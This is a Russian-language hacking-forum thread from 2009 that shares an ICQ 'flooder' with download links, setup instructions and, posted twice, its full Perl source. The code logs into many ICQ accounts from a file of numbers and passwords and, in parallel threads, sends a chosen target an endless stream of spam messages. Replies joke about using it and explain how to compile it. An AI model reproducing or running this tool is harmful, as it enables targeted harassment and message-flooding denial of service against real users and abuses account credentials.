Patemckin-Flooder

Fooog · 3 Jan 2009

Брал Patemckin-Flooder Version 2.01 когда то давно за деньги! Но недавно я увидел его уже в паблике (был замечен только на одном не известном сайте) и решил выложить сюда! Флудер очень хороший. особенно выбивает быстро на мобиле!

Создайте текстовый документ uin или uins точно не помню, и загрузите туда номера с паролями
В поле Number ICQ вводите номер для флуда
В поле Timeout (ms): советую ввести 3

И после настройки нажмите Go!

Скачать можно от сюда:

http://multi-up.com/46050/

http://depositfiles.com/ru/files/gp7ckrtpj

http://rapidshare.com/files/179341979/Fluder_privat.zip.html

http://openfile.ru/169649/

http://fileshare.in.ua/1742679

http://letitbit.net/download/11ac5b645158/Fluder-privat.zip.html

Исходный код:

Code:

#!/usr/bin/perl
use threads;
use threads::shared;
use Socket;
use Tk;
my($main,$Uin,$Time);
$main=MainWindow->new(-title => 'Joni_Flod');
$main->resizable( 1, 0 );
$main->Label(-text => 'ICQ')->pack;
$Uin=$main->Entry(-width => 12)->pack;
$main->Label(-text => 'Timeout (ms):')->pack;
$Time=$main->Entry(-width => 12)->pack;
$main->Button(-text => 'FUCK_IT',
-command => \&go)->pack(-side => 'top');
$main->Label(-text => 'Coded By Joni ')->pack;
$main->Label(-text => 'Version Medium')->pack;
$main->Label(-text => 'Specilly For X-Venom')->pack;
system("cls");
MainLoop;
sub go {
my $targetUin = $Uin->get;
my $timer = $Time->get;
my $message = ' *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* ';
my ($host,$port) = ('205.188.179.233', 443);
my @uins : shared;
open(FILE, '<uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = scalar @uins; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов
for(1..$threads) { $thread[$_]->join; }

sub flood {
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x  53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x  00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x  19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x  00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('  tcp'));
    connect(SOCKET,sockaddr_in($port,inet_aton($host))  );
    my $response;
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);
    close(SOCKET);

    if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('  tcp'));
    connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BO  S_Host)));
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);

    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x  00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x  02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x  02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x  02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    syswrite(SOCKET,$FLAP.$SNAC);
    for(;;) {
        $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\x  EF\x52\xEA\x92\xD3\x3F\x00\x02".
        pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
        "\x00\x00".
        "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x  4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
        "\x00\x0A\x00\x02\x00\x01\x00\x0F".
        "\x00\x00\x27\x11". #хз
        int2bytes(length($message)+62). #61 + длина текста
        "\x1B\x00\x08".("\x00"x19).
        "\x03\x00\x00\x00".
        "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
        "\x01\x00\x00\x00\x00".
        "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
        syswrite(SOCKET,$FLAP.$SNAC);
 print "$uin [+] \n";
        sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ

    }

}

sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое

sub parsCookie { #парсер куки
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {    #счётчик номера пакета
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}
}

X-Venom · 3 Jan 2009

тема баян, исходный код не его

Fooog · 3 Jan 2009

баян??? хм... не знал! если баян удаляйте!
P.S.
Забыл залить флудер! ща залью и ссылки дам кому надо

CrazyStudentS_Mi}{ · 3 Jan 2009

а линк где

Fooog · 3 Jan 2009

CrazyStudentS_Mi}{ said:

а линк где
Click to expand...

Он весит 11 мб!
Яж говорю! ща залью и дам ссылки на скачку!

nonamez · 3 Jan 2009

Флудер очень хороший. особенно выбивает быстро на мобиле!
Click to expand...

любой флудер выбивает спокойно мобаил.

Fooog · 3 Jan 2009

nonamez ну это типо рекламки для нубов)

X-Venom · 3 Jan 2009

Code:

#!/usr/bin/perl
use threads;
use threads::shared;
use Socket;
use Tk;
my($main,$Uin,$Time);
$main=MainWindow->new(-title => 'Joni_Flod');
$main->resizable( 1, 0 );
$main->Label(-text => 'ICQ')->pack;
$Uin=$main->Entry(-width => 12)->pack;
$main->Label(-text => 'Timeout (ms):')->pack;
$Time=$main->Entry(-width => 12)->pack;
$main->Button(-text => 'FUCK_IT',
-command => \&go)->pack(-side => 'top');
$main->Label(-text => 'Coded By Joni ')->pack;
$main->Label(-text => 'Version Medium')->pack;
$main->Label(-text => 'Specilly For X-Venom')->pack;
system("cls");
MainLoop;
sub go {
my $targetUin = $Uin->get;
my $timer = $Time->get;
my $message = ' *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* ';
my ($host,$port) = ('205.188.179.233', 443);
my @uins : shared;
open(FILE, '<uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = scalar @uins; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов
for(1..$threads) { $thread[$_]->join; }

sub flood {
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($port,inet_aton($host)));
    my $response;
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);
    close(SOCKET);

    if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);

    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    syswrite(SOCKET,$FLAP.$SNAC);
    for(;;) {
        $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
        pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
        "\x00\x00".
        "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
        "\x00\x0A\x00\x02\x00\x01\x00\x0F".
        "\x00\x00\x27\x11". #хз
        int2bytes(length($message)+62). #61 + длина текста
        "\x1B\x00\x08".("\x00"x19).
        "\x03\x00\x00\x00".
        "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
        "\x01\x00\x00\x00\x00".
        "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
        syswrite(SOCKET,$FLAP.$SNAC);
 print "$uin [+] \n";
        sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ

    }

}

sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое

sub parsCookie { #парсер куки
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {    #счётчик номера пакета
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}
}

Fooog · 3 Jan 2009

Всё) залил)

Fooog · 3 Jan 2009

X-Venom добавлю код в тему! спасибо)

Cooler123 · 3 Jan 2009

я думал норм флуд а оказываеца на сраном перле к тором разбираца есче нада

LEE_ROY · 3 Jan 2009

на сраном перле очень хорошие флудеры получаются.

Cooler123 · 3 Jan 2009

LEE_ROY said:

на сраном перле очень хорошие флудеры получаются.
Click to expand...

уж поверь я не умею им пользоваца

Fooog · 3 Jan 2009

Cooler123 там и пользоваться нечего!

X-Venom · 3 Jan 2009

Cooler123 скомпилируй .pl в .exe скомпилятором и все можно юзать

Fooog · 5 Jan 2009

X-Venom said:

Cooler123 скомпилируй .pl в .exe скомпилятором и все можно юзать
Click to expand...

Не обязательно так! там только надо установить то что в архиве и врубить прогу
А дальше по инструкции)))

LEE_ROY · 5 Jan 2009

Cooler123 said:

уж поверь я не умею им пользоваца
Click to expand...

мне похую, вериш?

qwerra · 5 Jan 2009

Cooler123 said:

уж поверь я не умею им пользоваца
Click to expand...

Как ты вообще на Ачат смог зайти,хз...

Patemckin-Flooder

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

CrazyStudentS_Mi}{ Elder - Старейшина

Fooog Elder - Старейшина

nonamez Elder - Старейшина

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

Fooog Elder - Старейшина

Cooler123 Member

LEE_ROY Elder - Старейшина

Cooler123 Member

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

LEE_ROY Elder - Старейшина

qwerra Elder - Старейшина

Useful Searches

Patemckin-Flooder

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

CrazyStudentS_Mi}{ Elder - Старейшина

Fooog Elder - Старейшина

nonamez Elder - Старейшина

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

Fooog Elder - Старейшина

Cooler123 Member

LEE_ROY Elder - Старейшина

Cooler123 Member

Fooog Elder - Старейшина

X-Venom Banned

Fooog Elder - Старейшина

LEE_ROY Elder - Старейшина

qwerra Elder - Старейшина